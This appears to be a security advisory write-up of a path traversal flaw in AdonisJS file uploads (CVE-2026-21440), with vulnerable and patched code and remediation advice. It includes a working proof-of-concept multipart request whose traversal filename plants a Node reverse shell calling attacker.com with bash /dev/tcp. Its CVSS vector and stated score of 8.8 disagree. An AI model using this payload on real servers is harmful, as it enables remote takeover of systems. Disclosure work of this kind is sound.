The AdonisJS bodyparser trusted user-supplied filenames by default. An attacker could send a file with a name like `../../../../var/www/shell.php` to overwrite critical system files or deploy web shells. The fix enforces random filenames unless explicitly overridden.
A critical Path Traversal vulnerability in the AdonisJS framework allowed attackers to escape upload directories and write files anywhere on the server filesystem. By manipulating the filename in multipart requests, an attacker could turn a standard profile picture upload into Remote Code Execution.
AdonisJS is often touted as the 'Laravel for Node.js'—a fully-featured, opinionated framework that saves developers from the chaotic Wild West of the npm ecosystem. It handles the heavy lifting: routing, ORM, and, of course, file uploads. But as any seasoned security researcher knows, whenever a framework tries to be too helpful, it often accidentally holds the door open for attackers.
In the world of web security, there is one golden rule: Never Trust User Input. Most developers know to sanitize SQL parameters and escape HTML output. However, file uploads remain a persistent blind spot. We often treat the content of the file as the threat (malware scanning, etc.), but we forget that the metadata—specifically the filename—is just another untrusted string controlled entirely by the client.
CVE-2026-21440 is a classic example of this oversight. It resides in the @adonisjs/bodyparser package, the component responsible for parsing multipart/form-data requests. The vulnerability isn't some complex memory corruption or a race condition; it's a simple logical flaw in how the framework decided where to put a file when the developer didn't explicitly say so.
The vulnerability hides in the MultipartFile.move method. When a developer builds a file upload feature, they typically call file.move(destinationPath). The framework then takes the temporary file and moves it to the final destination.
Here is where the logic went wrong: If the developer did not specify a target filename in the options object, AdonisJS tried to be helpful by defaulting to the clientName. The clientName is derived directly from the Content-Disposition header sent by the browser (or Burp Suite).
Under the hood, the framework used path.join(destination, clientName). If you know your Node.js, you know that path.join resolves relative paths. If destination is /var/www/uploads and clientName is ../../../etc/cron.d/pwn, the resulting path is /etc/cron.d/pwn. The framework blindly trusted that the client wouldn't try to walk up the directory tree.
Let's look at the diff. It’s painful in its simplicity. The vulnerable code explicitly opts into using the unsafe input as a fallback.
Vulnerable Logic (Before):
// src/multipart/file.ts
// If 'name' is not provided in options, use 'this.clientName'
options = Object.assign({ name: this.clientName, overwrite: true }, options)
// path.join resolves the traversal characters
const filePath = join(location, options.name!)It’s like locking your front door but leaving a key under the mat, and that mat is labeled "Please Rob Me." The patch, introduced in version 6.19.2, completely changes this philosophy. Instead of trusting the client, the framework now generates a cryptographically random filename by default.
Fixed Logic (After):
// src/multipart/file.ts
// Generate a random 40-char string. Client input is ignored.
options = Object.assign(
{ name: `${string.random(40)}.${this.extname ?? 'unknown'}`, overwrite: true },
options
)
const filePath = join(location, options.name!)This change breaks the exploit chain because even if I send ../../../shell.php, the file is saved as uploads/a1b2c3d4...unknown. The traversal characters are gone, replaced by entropy.
Exploiting this is trivial and requires no authentication if the upload endpoint is public (e.g., a registration page avatar upload). We don't need fancy binary exploitation skills here; we just need to manipulate headers.
The Attack Chain:
file.move() method without renaming the file.filename parameter.POST /upload/avatar HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="../../../public/shell.js"
Content-Type: application/javascript
require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1');
------WebKitFormBoundary--/public/shell.js (assuming the webroot is accessible). The attacker then simply navigates to https://target.com/shell.js to trigger the Node.js code execution. If the web server doesn't execute JS files directly, the attacker might target /root/.ssh/authorized_keys (if running as root) or a cron job location.Arbitrary File Write is often one step away from Remote Code Execution (RCE). In the context of a Node.js application, this is catastrophic.
If the application is running with root privileges (which, sadly, many containerized apps do), the attacker can overwrite /etc/passwd, modify system binaries, or add SSH keys. Even with a low-privileged user, an attacker can overwrite application source code (index.js) or configuration files to inject backdoors that persist across restarts.
Because this vulnerability affects a core framework component, every single file upload endpoint in an unpatched AdonisJS application is a potential entry point. It turns a "contact us with attachment" form into a "give me a shell" button.
The remediation is straightforward: Update immediately.
Run the following command in your project root:
npm update @adonisjs/coreYou need @adonisjs/core version 6.19.2 or higher. This version pulls in the patched bodyparser logic.
Developer Note: If your application logic relies on preserving the original filename (e.g., you want users to see "report.pdf" instead of "random-hash.pdf"), you now have to opt-in to that behavior manually. However, do not just pass clientName back into the options. You must sanitize it first:
import { basename } from 'path'
// SAFE: Strip directory paths before moving
await file.move(app.makePath('uploads'), {
name: basename(file.clientName)
})Using basename() ensures that any directory traversal attempts are stripped out, leaving only the filename itself.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@adonisjs/core AdonisJS | < 6.19.2 | 6.19.2 |
@adonisjs/bodyparser AdonisJS | < 10.1.2 | 10.1.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) |
| Attack Vector | Network (Remote) |
| CVSS (Est.) | 8.8 (High) |
| Impact | Arbitrary File Write / RCE |
| Exploit Status | PoC Available |
| Component | @adonisjs/bodyparser |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Get the latest CVE analysis reports delivered to your inbox.